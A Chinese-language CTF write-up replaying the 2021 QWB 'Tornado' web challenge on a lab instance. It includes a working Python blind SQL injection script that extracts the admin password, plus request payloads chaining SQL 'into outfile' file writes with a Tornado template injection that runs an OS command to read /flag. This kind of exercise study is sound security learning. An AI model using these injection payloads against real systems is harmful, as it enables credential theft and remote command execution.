0%

强网杯2021-托纳多复现

强网杯2021-托纳多复现

参考连接

QWB2021 Quals]陀那多/托纳多

[QWB2021 Quals]陀那多

强网杯[pop_master]与[陀那多]赛题的出题记录

0x00 写在前面

哎,整了两天没整出来(第一步的sql就没注明白),流产了。换另外一个当时做出来的了。

———————————分———————————–割—————————-线———————————————–

三天后的再战

0x01 第一步 sql注入获取admin账号密码

通过简单的测试发现register处存在布尔盲注。事后通过源码也能看到。

这道题通过information_schema.processlist获取表名,列名。

exp如下,因为register处过滤了<,>,=,所以暂时想到的只能穷举了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = "http://9ea19d02-b943-4a06-9d06-ee9e316803a0.node4.buuoj.cn/"
for n in range(0,150):
for i in range(31,300):
# payload = "if((ascii(substr((select (info) FROM information_schema.processlist limit 0,1)," + str( n + 1) + ",1)) in (" + str(i) + ")),1,0)"
#SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='andmin'
payload = "if((ascii(substr((select qwbqwbqwbpass FROM qwbtttaaab111e limit 0,1)," + str(n + 1) + ",1)) in (" + str(i) + ")),1,0)"
#glzjin666888
r = requests.get(url + "register.php?username=admin' and " + payload + " and '1&password=1")
if ("username" in r.text):
print(chr(i), end="")
break
elif("success" not in r.text):
print("n= "+str(n)+" i= "+str(i)+"|"+r.text)

0x02 第二步 os.path.join任意文件读取

但因为在buu的这道题目上无法以admin身份登录,所以这一步只能跳过了。

通过wp我们知道,通过这一步,可以获取源码,然后发现可以ssti

0x03 第三步 托纳多ssti

因为{{}}被过滤,所以只能用{%%}\` 这一步用到的为**{%extends %}**,它的参数为一个文件,会将其包含并渲染。所以思路为上传一个文件,然后extends包含并渲染。这里通过register向服务器写入文件。具体实现为通过注册功能将代码写入数据库,再通过into outfile语句将其导出为文件。导出文件路径为/var/lib/mysql-files/`,因为mysql只在这里有写的权限。

exp

1
2
3
/register.php?username=666&password={% set return __import__("os").popen("cat  /flag").read()%}
/register.php?username=666' into outfile '/var/lib/mysql-files/666&password=666
/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/666%}